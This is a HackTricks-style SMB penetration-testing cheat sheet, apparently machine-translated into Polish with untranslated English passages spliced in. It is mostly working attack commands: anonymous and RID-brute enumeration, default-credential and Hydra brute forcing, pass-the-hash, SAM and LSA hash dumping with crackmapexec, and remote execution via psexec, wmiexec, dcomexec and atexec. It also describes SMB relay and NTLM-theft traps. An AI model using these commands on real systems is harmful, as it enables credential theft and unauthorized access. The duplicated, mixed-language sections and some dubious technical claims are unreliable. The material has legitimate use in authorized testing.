hacktricks/network-services-pentesting/pentesting-smb.md
2024-02-11 01:46:25 +00:00

36 KiB
Raw Blame History

139,445 - Testowanie penetracyjne SMB

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Port 139

Network Basic Input Output System (NetBIOS) to protokół oprogramowania zaprojektowany do umożliwienia aplikacjom, komputerom i pulpitom w ramach lokalnej sieci LAN interakcji z sprzętem sieciowym i ułatwienia transmisji danych w sieci. Identyfikacja i lokalizacja aplikacji oprogramowania działających w sieci NetBIOS są osiągane za pomocą ich nazw NetBIOS, które mogą mieć maksymalnie 16 znaków i często różnią się od nazwy komputera. Sesja NetBIOS między dwiema aplikacjami jest inicjowana, gdy jedna aplikacja (działająca jako klient) wydaje polecenie "wywołaj" inną aplikację (działającą jako serwer), korzystając z Portu TCP 139.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Port 445

Technicznie rzecz biorąc, Port 139 jest określany jako 'NBT over IP', podczas gdy Port 445 jest identyfikowany jako 'SMB over IP'. Skrót SMB oznacza 'Server Message Blocks', który jest również znany jako Common Internet File System (CIFS). Jako protokół sieciowy warstwy aplikacji, SMB/CIFS jest głównie wykorzystywany do udostępniania wspólnego dostępu do plików, drukarek, portów szeregowych oraz ułatwiania różnych form komunikacji między węzłami w sieci.

Na przykład, w kontekście systemu Windows, zaznacza się, że SMB może działać bezpośrednio nad TCP/IP, eliminując konieczność korzystania z NetBIOS nad TCP/IP, poprzez wykorzystanie portu 445. Natomiast na innych systemach obserwuje się użycie portu 139, co wskazuje na wykonanie SMB w połączeniu z NetBIOS nad TCP/IP.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Protokół Server Message Block (SMB), działający w modelu klient-serwer, został zaprojektowany do regulowania dostępu do plików, katalogów oraz innych zasobów sieciowych, takich jak drukarki i routery. Głównie wykorzystywany w serii systemów operacyjnych Windows, SMB zapewnia kompatybilność wsteczną, umożliwiając urządzeniom z nowszymi wersjami systemu operacyjnego Microsoftu bezproblemową interakcję z tymi, które działają na starszych wersjach. Dodatkowo, projekt Samba oferuje bezpłatne oprogramowanie, umożliwiające implementację SMB na systemach Linux i Unix, ułatwiając tym samym komunikację międzyplatformową za pomocą SMB.

Udziały, reprezentujące dowolne części lokalnego systemu plików, mogą być udostępniane przez serwer SMB, co sprawia, że hierarchia jest widoczna dla klienta częściowo niezależnie od rzeczywistej struktury serwera. Listy kontroli dostępu (ACL), które definiują prawa dostępu, umożliwiają dokładną kontrolę nad uprawnieniami użytkowników, w tym atrybutami takimi jak execute, read i full access. Te uprawnienia mogą być przypisane do poszczególnych użytkowników lub grup, na podstawie udziałów, i są odrębne od lokalnych uprawnień ustawionych na serwerze.

Udział IPC$

Dostęp do udziału IPC$ można uzyskać za pomocą anonimowej sesji null, umożliwiając interakcję z usługami udostępnianymi za pomocą nazwanych potoków. Narzędzie enum4linux jest przydatne w tym celu. Poprawnie wykorzystane, umożliwia zdobycie:

  • Informacji o systemie operacyjnym
  • Szczegółów dotyczących domeny nadrzędnej
  • Kompilacji lokalnych użytkowników i grup
  • Informacji o dostępnych udziałach SMB
  • Efektywnej polityki bezpieczeństwa systemu

Ta funkcjonalność jest kluczowa dla administratorów sieci i profesjonalistów ds. bezpieczeństwa w celu oceny stanu bezpieczeństwa usług SMB (Server Message Block) w sieci. enum4linux zapewnia wszechstronne spojrzenie na środowisko SMB systemu docelowego, co jest niezbędne do identyfikacji potencjalnych podatności i zapewnienia odpowiedniego zabezpieczenia usług SMB.

enum4linux -a target_ip

Powyższa komenda jest przykładem, jak można użyć enum4linux do przeprowadzenia pełnej enumeracji na celu określonym przez target_ip.

Co to jest NTLM

Jeśli nie wiesz, czym jest NTLM lub chcesz dowiedzieć się, jak działa i jak go wykorzystać, z pewnością zainteresuje Cię ta strona na temat NTLM, gdzie wyjaśniono, jak działa ten protokół i jak można z niego skorzystać:

{% content-ref url="../windows-hardening/ntlm/" %} ntlm {% endcontent-ref %}

Enumeracja serwera

Skanowanie sieci w poszukiwaniu hostów:

nbtscan -r 192.168.0.1/24

Wersja serwera SMB

Aby szukać możliwych podatności w wersji SMB, ważne jest, aby wiedzieć, która wersja jest używana. Jeśli ta informacja nie pojawia się w innych używanych narzędziach, można:

  • Użyć modułu pomocniczego MSF _auxiliary/scanner/smb/smb_version
  • Lub ten skrypt:
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Wyszukiwanie eksploitów

To find exploits for a specific vulnerability, you can use various online resources such as exploit databases, security forums, and vulnerability databases. These resources provide a collection of known exploits that can be used to exploit specific vulnerabilities in target systems.

To search for exploits, you can use search engines like Google or specialized search tools like searchsploit. By using specific search queries, you can narrow down your search and find relevant exploits.

When searching for exploits, it is important to consider the version of the software or service you are targeting. Exploits are often specific to certain versions, so make sure to include the version number in your search query.

Remember that using exploits without proper authorization is illegal and unethical. Always ensure that you have the necessary permissions and legal rights before attempting to use any exploits.

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Możliwe dane uwierzytelniające

Nazwa użytkownika Powszechne hasła
(puste) (puste)
gość (puste)
Administrator, admin (puste), hasło, administrator, admin
arcserve arcserve, backup
tivoli, tmersrvd tivoli, tmersrvd, admin
backupexec, backup backupexec, backup, arcada
test, lab, demo hasło, test, lab, demo

Atak siłowy

Informacje o środowisku SMB

Uzyskanie informacji

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Wyliczanie użytkowników, grup i zalogowanych użytkowników

Te informacje powinny być już zbierane za pomocą narzędzi enum4linux i enum4linux-ng.

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

Wyliczanie lokalnych użytkowników

Impacket

lookupsid.py -no-pass hostname.local

Pentesting SMB

SMB (Server Message Block) is a network protocol used for file sharing, printer sharing, and communication between devices in a network. It is commonly used in Windows operating systems.

SMB Enumeration

SMB enumeration is the process of gathering information about SMB shares, users, and groups on a target system. This information can be used to identify potential vulnerabilities and misconfigurations.

To enumerate SMB shares, you can use tools like smbclient, smbmap, or enum4linux. These tools allow you to connect to an SMB server and list the available shares.

To enumerate users and groups, you can use tools like rpcclient or enum4linux. These tools allow you to query the SMB server for information about users and groups.

SMB Exploitation

Once you have identified potential vulnerabilities or misconfigurations, you can proceed with SMB exploitation. There are several techniques that can be used to exploit SMB, including:

  • Brute forcing: This involves attempting to guess the username and password for an SMB share. Tools like hydra or medusa can be used for this purpose.

  • SMB relay: This technique involves intercepting SMB traffic and relaying it to another target. This can be used to gain unauthorized access to a target system. Tools like Responder or ntlmrelayx can be used for SMB relay attacks.

  • SMB signing downgrade: This technique involves downgrading the SMB signing level to allow for the interception and modification of SMB traffic. Tools like impacket can be used for this purpose.

  • SMB command injection: This technique involves injecting malicious commands into an SMB request to execute arbitrary code on a target system. This can be used to gain remote code execution. Tools like Metasploit or Empire can be used for SMB command injection.

SMB Post-Exploitation

Once you have successfully exploited an SMB vulnerability, you can proceed with post-exploitation activities. These activities may include:

  • Privilege escalation: This involves escalating your privileges on the target system to gain higher levels of access. Techniques like token impersonation or exploiting weak service permissions can be used for privilege escalation.

  • Data exfiltration: This involves stealing sensitive data from the target system. Tools like smbclient or copy command can be used to copy files from the target system to your local machine.

  • Persistence: This involves maintaining access to the target system even after a reboot or system update. Techniques like creating a backdoor user or modifying startup scripts can be used for persistence.

  • Lateral movement: This involves moving laterally within the network to gain access to other systems. Techniques like pass-the-hash or pass-the-ticket can be used for lateral movement.

SMB Security Best Practices

To secure SMB services, it is recommended to follow these best practices:

  • Disable SMBv1: SMBv1 is an outdated and insecure version of the SMB protocol. It is recommended to disable SMBv1 and use newer versions like SMBv2 or SMBv3.

  • Enable SMB signing: SMB signing helps to ensure the integrity and authenticity of SMB traffic. It is recommended to enable SMB signing to prevent tampering and unauthorized access.

  • Use strong authentication: It is recommended to use strong authentication mechanisms like NTLMv2 or Kerberos for SMB authentication.

  • Implement access controls: It is recommended to implement proper access controls to restrict access to SMB shares and resources.

  • Regularly update and patch: It is important to regularly update and patch SMB servers to protect against known vulnerabilities.

  • Monitor SMB traffic: Monitoring SMB traffic can help to detect and prevent unauthorized access and suspicious activities.

  • Disable guest access: It is recommended to disable guest access to prevent unauthorized access to SMB shares.

  • Encrypt SMB traffic: Encrypting SMB traffic using protocols like SMB over SSL/TLS (SMB3 encryption) can help to protect sensitive data from eavesdropping.

  • Implement network segmentation: Implementing network segmentation can help to isolate SMB services from other critical systems and reduce the impact of a potential compromise.

  • Regularly backup data: Regularly backing up data can help to recover from a potential ransomware attack or data loss.

  • Educate users: It is important to educate users about the risks associated with SMB and the importance of following security best practices.

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Wyliczanie lokalnych użytkowników

Metasploit to potężne narzędzie do testowania penetracyjnego, które można wykorzystać do wyliczania lokalnych użytkowników w systemie. Poniżej przedstawiono kroki, które należy podjąć, aby to osiągnąć:

  1. Uruchom Metasploit Framework, wpisując polecenie msfconsole w terminalu.

  2. Wybierz odpowiedni moduł do wyliczania lokalnych użytkowników, wpisując polecenie use windows/smb_enumusers.

  3. Skonfiguruj wymagane opcje, takie jak RHOSTS (adres IP docelowego systemu) i RPORT (port SMB). Możesz to zrobić, wpisując polecenie set RHOSTS <adres_IP> i set RPORT <port>.

  4. Uruchom moduł, wpisując polecenie run.

Metasploit przeprowadzi teraz skanowanie systemu w poszukiwaniu lokalnych użytkowników. Wyniki zostaną wyświetlone na ekranie, zawierając informacje takie jak nazwa użytkownika, SID (Security Identifier) i grupy, do których należy użytkownik.

To narzędzie jest niezwykle przydatne podczas testowania penetracyjnego, ponieważ umożliwia identyfikację potencjalnych luk w zabezpieczeniach systemu. Pamiętaj jednak, że wykorzystywanie Metasploit do celów nielegalnych lub bez zgody właściciela systemu jest nielegalne i nieetyczne.

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

Wyliczanie LSARPC i SAMR rpcclient

{% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} rpcclient-enumeration.md {% endcontent-ref %}

Połączenie GUI z systemem Linux

W terminalu:

xdg-open smb://cascade.htb/

W oknie przeglądarki plików (nautilus, thunar, itp.)

smb://friendzone.htb/general/

Wyliczanie udostępnionych folderów

Wyświetlanie udostępnionych folderów

Zawsze zaleca się sprawdzenie, czy można uzyskać dostęp do czegokolwiek. Jeśli nie masz poświadczeń, spróbuj użyć pustych poświadczeń/użytkownika gościa.

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

To connect to a shared folder on a remote machine, you can use the smbclient tool. This tool allows you to interact with SMB (Server Message Block) shares.

To connect to a shared folder, use the following command:

smbclient //<IP_ADDRESS>/<SHARE_NAME> -U <USERNAME>

Replace <IP_ADDRESS> with the IP address of the remote machine and <SHARE_NAME> with the name of the shared folder you want to connect to. Additionally, replace <USERNAME> with a valid username on the remote machine.

Once connected, you can use various commands to interact with the shared folder. For example, you can use the ls command to list the contents of the shared folder:

ls

This will display a list of files and directories in the shared folder.

Remember to provide valid credentials (username and password) when prompted to authenticate with the remote machine.

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

Ręczne wyliczanie udziałów systemu Windows i łączenie się z nimi

Może się zdarzyć, że masz ograniczone uprawnienia do wyświetlania udziałów na maszynie docelowej i gdy próbujesz je wymienić, wydaje się, że nie ma żadnych udziałów, do których można się podłączyć. Warto w takim przypadku spróbować ręcznie połączyć się z udziałem. Aby ręcznie wyliczyć udziały, warto szukać odpowiedzi takich jak NT_STATUS_ACCESS_DENIED i NT_STATUS_BAD_NETWORK_NAME, gdy używasz ważnej sesji (np. pustej sesji lub ważnych poświadczeń). Mogą one wskazywać, czy udział istnieje i nie masz do niego dostępu, czy też udział w ogóle nie istnieje.

Wspólne nazwy udziałów dla celów systemów Windows to:

  • C$
  • D$
  • ADMIN$
  • IPC$
  • PRINT$
  • FAX$
  • SYSVOL
  • NETLOGON

(Wspólne nazwy udziałów z książki Network Security Assessment 3rd edition)

Możesz spróbować połączyć się z nimi, używając następującej komendy:

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

lub ten skrypt (korzystający z sesji null)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

Przykłady

smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Wyliczanie udziałów z systemu Windows / bez użycia narzędzi innych firm

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

Konsola CMD

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC Snap-in (graficzny)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe (graficzny), wpisz \\<ip>\, aby zobaczyć dostępne nieukryte udziały.

Zamontuj udostępniony folder

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Pobieranie plików

Przeczytaj poprzednie sekcje, aby dowiedzieć się, jak połączyć się za pomocą poświadczeń/Pass-the-Hash.

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Polecenia:

  • mask: określa maskę, która jest używana do filtrowania plików w katalogu (np. "" dla wszystkich plików)
  • recurse: przełącza rekursję (domyślnie: wyłączone)
  • prompt: wyłącza pytanie o nazwy plików (domyślnie: włączone)
  • mget: kopiuje wszystkie pliki pasujące do maski z hosta na maszynę klienta

(Informacje z manpage smbclient)

Wyszukiwanie udostępnionych folderów domenowych

Snaffler.exe -s -d domain.local -o snaffler.log -v data
  • CrackMapExec - pająk.
  • -M spider_plus [--share <nazwa_udziału>]
  • --pattern txt
sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Szczególnie interesujące są pliki o nazwie Registry.xml, ponieważ mogą zawierać hasła dla użytkowników skonfigurowanych z autologonem za pomocą Group Policy. Lub pliki web.config, ponieważ zawierają poświadczenia.

{% hint style="info" %} Udział SYSVOL jest odczytywalny przez wszystkich uwierzytelnionych użytkowników w domenie. W nim możesz znaleźć wiele różnych skryptów wsadowych, VBScript i PowerShell.
Powinieneś sprawdzić skrypty wewnątrz, ponieważ możesz znaleźć wrażliwe informacje, takie jak hasła. {% endhint %}

Odczytaj rejestr

Możesz próbować odczytać rejestr za pomocą odkrytych poświadczeń. Narzędzie Impacket reg.py pozwala na to:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Eksploatacja

Domyślna konfiguracja serwera Samba zazwyczaj znajduje się w /etc/samba/smb.conf i może zawierać niebezpieczne ustawienia:

Ustawienie Opis
browseable = yes Czy można wyświetlać dostępne udziały w bieżącym udziale?
read only = no Czy zabronić tworzenia i modyfikowania plików?
writable = yes Czy zezwolić użytkownikom na tworzenie i modyfikowanie plików?
guest ok = yes Czy zezwolić na połączenie z usługą bez użycia hasła?
enable privileges = yes Czy uwzględnić przywileje przypisane do określonego SID?
create mask = 0777 Jakie uprawnienia mają być przypisane do nowo utworzonych plików?
directory mask = 0777 Jakie uprawnienia mają być przypisane do nowo utworzonych katalogów?
logon script = script.sh Jaki skrypt ma być uruchomiony podczas logowania użytkownika?
magic script = script.sh Jaki skrypt powinien być uruchomiony po zamknięciu skryptu?
magic output = script.out Gdzie należy przechowywać wynik magicznego skryptu?

Polecenie smbstatus dostarcza informacji o serwerze i o podłączonych użytkownikach.

Uwierzytelnianie za pomocą Kerberos

Możesz uwierzytelnić się do Kerberosa za pomocą narzędzi smbclient i rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

Wykonuj polecenia

crackmapexec

crackmapexec może wykonywać polecenia, wykorzystując dowolną z metod mmcexec, smbexec, atexec, wmiexec, przy czym domyślną metodą jest wmiexec. Możesz wskazać, którą opcję chcesz użyć za pomocą parametru --exec-method:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

Obie opcje tworzą nową usługę (korzystając z \pipe\svcctl przez SMB) na maszynie ofiary i używają jej do wykonania czegoś (psexec wysyła plik wykonywalny do udziału ADMIN$ i smbexec wskazuje na cmd.exe/powershell.exe i umieszcza w argumentach ładunek --technika bez pliku--).
Więcej informacji na temat psexec i smbexec.
W kali znajduje się w /usr/share/doc/python3-impacket/examples/.

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Za pomocą parametru -k można uwierzytelnić się za pomocą kerberosa zamiast NTLM.

wmiexec/dcomexec

Wykonaj polecenie powłoki bez dotykania dysku ani uruchamiania nowej usługi za pomocą DCOM przez port 135.
W kali znajduje się w lokalizacji /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Za pomocą parametru -k możesz uwierzytelnić się za pomocą kerberosa zamiast NTLM.

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Wykonaj polecenia za pomocą Harmonogramu zadań (używając \pipe\atsvc przez SMB).
W kali znajduje się w lokalizacji /usr/share/doc/python3-impacket/examples/

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Odwołanie do Impacket

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

Próba złamania danych uwierzytelniających użytkowników

Nie jest to zalecane, możesz zablokować konto, jeśli przekroczysz maksymalną dozwoloną liczbę prób

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

Atak SMB Relay

Ten atak wykorzystuje narzędzie Responder do przechwytywania sesji uwierzytelniania SMB w sieci wewnętrznej i przekazywania ich do maszyny docelowej. Jeśli sesja uwierzytelniania zakończy się sukcesem, automatycznie zostaniesz przeniesiony do powłoki systemowej.
Więcej informacji na temat tego ataku tutaj.

SMB-Trap

Biblioteka systemu Windows URLMon.dll automatycznie próbuje uwierzytelnić się wobec hosta, gdy strona próbuje uzyskać dostęp do pewnej zawartości za pomocą SMB, na przykład: img src="\\10.10.10.10\path\image.jpg"

Dzieje się tak za pomocą funkcji:

  • URLDownloadToFile
  • URLDownloadToCache
  • URLOpenStream
  • URLOpenBlockingStream

Które są używane przez niektóre przeglądarki i narzędzia (takie jak Skype)

Źródło: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

SMBTrap przy użyciu MitMf

Źródło: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html

Kradzież NTLM

Podobnie jak w przypadku SMB Trapping, umieszczenie złośliwych plików na systemie docelowym (za pomocą SMB, na przykład) może spowodować próbę uwierzytelnienia SMB, co umożliwia przechwycenie skrótu NetNTLMv2 za pomocą narzędzia takiego jak Responder. Skrót można następnie złamać offline lub użyć w atakach SMB Relay.

Zobacz: ntlm_theft

Automatyczne polecenia HackTricks

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as NBT over IP, Port 445 is SMB over IP. SMB stands for Server Message Blocks. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.xyz/pentesting/pentesting-smb

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks: